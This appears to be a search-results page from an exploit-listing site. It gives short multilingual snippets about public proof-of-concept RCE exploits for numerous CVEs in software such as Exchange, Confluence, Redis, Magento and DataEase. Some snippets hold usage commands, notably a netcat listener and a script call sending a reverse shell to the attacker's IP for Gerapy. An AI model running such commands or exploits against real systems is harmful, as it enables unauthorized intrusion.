273809 matches found
PSForgot2kEyXCHANGE
PSForgot2kEyXCHANGE Forgot2kEyXCHANGE CVE-2020-0688 の PoC（概念実証）を PowerShell で記述 使用方法 この PoC は有効なユーザー名とパスワードを必要とします。 この PoC は ysoserial.net を使用して、-Command パラメーターで指定したコマンドを含む新しい ViewState を作成します。 このツールがシステムにインストールされていない場合は、こちら からダウンロードしてください。 root@kitploit: PS . .\PSForgot2kEyXCHANGE.ps1 PS...
CVE-2026-24061_POC
CVE-2026-24061 GNU Telnetd（RCE） スクリプトパラメータ...
CVE-2021-44521
CVE-2021-44521 CVE-2021-44521 の自動化 PoC オリジナル PoC へのクレジット: https://jfrog.com/blog/cve-2021-44521-exploiting-apache-cassandra-user-defined-functions-for-remote-code-execution/ 要件 Cassandra-driver root@kitploit: pip3 install cassandra-driver 使用方法 root@kitploit: python3 poc.py...
CVE-2026-47864 Unsafe Java deserialization in SerializingHttpMessageConverter — remote code execution
SerializingHttpMessageConverter deserializes the body of incoming HTTP requests with a raw java.io.ObjectInputStream and no class filtering. Any request with Content-Type application/x-java-serialized-object whose body resolves to a Serializable type is read directly via readObject. If an...
CVE-2026-47864
Spring Integration 's SerializingHttpMessageConverter deserializes incoming HTTP request bodies using a raw java.io.ObjectInputStream with no class filtering. Any request carrying Content-Type: application/x-java-serialized-object whose body resolves to a Serializable type is passed directly to r...
CVE-2004-1561
CVE-2004-1561 Icecast 헤더 덮어쓰기 버퍼 오버플로우 RCE 568-edit.c 업데이트 원본 익스플로이트를 작동시키는 데 성공했습니다. 이것에 따라 수정했습니다. 568-edit.c 사용법 root@kitploit: root@Kali:/TryHackme/Ice gcc 568-edit.c -o 568 root@Kali:/TryHackme/Ice ./568 192.168.92.133 Icecast = 2.0.1 Win32 remote code execution 0.1 by Luigi Auriemma e-mail:...
CVE-2020-10238
HK 제작 CVE-2020-10238: comtemplates의 잘못된 액세스 제어 - RCE CVE-2020-10239: comfields SQL 필드의 잘못된 액세스 제어 - RCE 링크 https://developer.joomla.org/security-centre/804-20200303-core-incorrect-access-control-in-com-templates.html...
CVE-2023-22527
CVE-2023-22527 Este repositorio presenta una prueba de concepto de CVE-2023-22527 CVE-2023-22527 | RCE usando SSTI en Confluence Aviso legal Este código es una prueba de concepto de la vulnerabilidad; no animo a nadie a usarlo en instancias de Confluence que no sean de su propiedad. Esta...
CVE-2022-0543
CVE-2022-0543 CVE-2022-0543RCE, Обход песочницы Lua в Redis, выполнение команд Использование python3 CVE-2022-0543.py...
CVE-2021-43857-Gerapy-v0.9.7
CVE-2021-43857-Gerapy-v0.9.7 войдите на портал как администратор добавьте новый проект sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L...
CVE-2026-63077
JetBrains TeamCity 中的未经身份验证的远程代码执行 CVE-2026-63077 概述 这是针对 CVE-2026-63077 的概念验证漏洞利用脚本。组织可以使用该脚本验证其检测与修复状况。 如需了解 CVE-2026-63077 的完整技术分析，请阅读我们的 Rapid7 分析。 用法 root@kitploit: $ python3 CVE-2026-63077.py --help usage: CVE-2026-63077.py -h --cmd CMD --webroot-relative WEBROOTRELATIVE --dump-payload...
CVE-2019-10392_EXP
CVE-2019-10392EXP Jenkins Git Client 认证 RCE CVE-2019-10392Exp 用法 root@kitploit: usage: Jenkins Git Client 2.8.2. -h -u TARGET -U USERNAME -P PASSWORD -i ITEM -I INTERACTIVE -c COMMAND optional arguments: -h, --help show this help message and exit -u TARGET, --target TARGET Target. -U USERNAME,...
eLabFTW-1.8.5-EntityController-Arbitrary-File-Upload-RCE
취약점 제목 : eLabFTW 1.8.5 'EntityController' Arbitrary File Upload / RCE 날짜 : 5/18/19 취약점 제작자 : liquidsky Joseph McPeters 취약한 소프트웨어 : eLabFTW 1.8.5 공급업체 홈페이지 : https://www.elabftw.net/ 버전 : 1.8.5 소프트웨어 링크 : https://doc.elabftw.net/ 테스트 환경 : Linux / PHP Version 7.0.33 / Default installation Softaculo...
CVE-2024-24590-ClearML-RCE-CMD-POC
ClearML エクスプロイトスクリプト このリポジトリには、CVE-2024-24590 用の Python エクスプロイトスクリプトが含まれています。このスクリプトは、ClearML に悪意のある pickle ファイルをアップロードし、リバースシェルまたはカスタムコマンドを実行するように設計されています。 特徴 悪意のある pickle アーティファクトを ClearML にアップロードします。 ターゲットマシン上でリバースシェルまたはカスタムコマンドを実行します。 カスタムプロジェクト名とタスク名をサポートします。 タスクにタグを設定できます。 使用方法 前提条件 Python...
CVE-2024-34102-CosmicSting-XXE-in-Adobe-Commerce-and-Magento
CosmicSting: Adobe Commerce および Magento における認証不要の重大な XXE 脆弱性 CVE-2024-34102 CVE-2024-34102 は、Adobe Commerce および Magento におけるネストされた逆シリアル化の不適切な処理に起因する重大なセキュリティ上の欠陥です。この脆弱性により、攻撃者は逆シリアル化プロセス中に XML 外部エンティティ XXE を悪用でき、リモートでコードを実行される可能性があります。要するに、攻撃者は悪意のある JSON...
WebKit-Bug-256172
WebKit-Bug-256172 Safari 1day RCE 漏洞利用，可能已在 iOS 16.5.1/macOS 13.4.1 中修复 已验证该漏洞利用在 macOS 13.3.1 和 iOS 15.8.2 上有效。 描述 目前仅适用于 macOS 13.0.1 x8664，因为偏移量是硬编码的。 实现了 addrof/fakeobj 以及读写（r/w）原语 将 SecurityOrigin-muniversalAccess 修补为 1 通过 JIT 执行加载 stage1.bin 致谢 感谢 ENKI WhiteHat 提供原始 PoC 及详细分析文章 saelo 的 jscp...
cybersecurity_portfolio
Портфолио. Усольцев Глеб Студент 2 курса, Институт компьютерных наук и кибербезопасности, СПбПУ Петра Великого, направление 10.03.01 «Информационная безопасность». В рамках учебной ознакомительной практики в АО «Позитив Текнолоджиз» выполнены два практических кейса. Ниже приведено их описание в...
cupshax
CUPSHax 针对近期 CUPS 漏洞的快速概念验证（PoC）。我原本打算做更多整理工作，但 embargo 解除的时间比预期早得多，所以代码写得有些仓促。 至于所有技术细节，说实话你应该直接阅读 Evilsocket 的分析文章。 该漏洞利用是在发现公开 OpenPrinting CUPS 仓库中的这个提交之后编写的。可能还有更简洁的注入点。 这个 PoC 使用 dns-sd 打印机发现机制，因此目标必须能够接收到广播消息，即攻击者和目标需要在同一网络中。 用法 该漏洞利用使用 zeroconf 和 ippserver，两者均可通过 pip 安装。 root@kitploit:...
EXPLOIT-CVE-2026-40901
DataEase——通过四漏洞链实现未认证 RCE（CVE-2026-40901 及相关漏洞） 认证绕过 → JDBC 黑名单绕过（任意文件读取）→ SQL 注入 → Quartz 中的 Java 反序列化 → 以root 身份远程代码执行。 自带完整的本地实验环境（Docker）+ 可用的 PoC。已在 DataEase v2.10.21 中修复。 DataEase 是一个流行的开源 BI / 数据可视化平台（Java / Spring Boot）。≤ v2.10.20 版本存在由四个问题组成的漏洞链，该链可将任何可网络访问的 DataEase 变为远程代码执行：...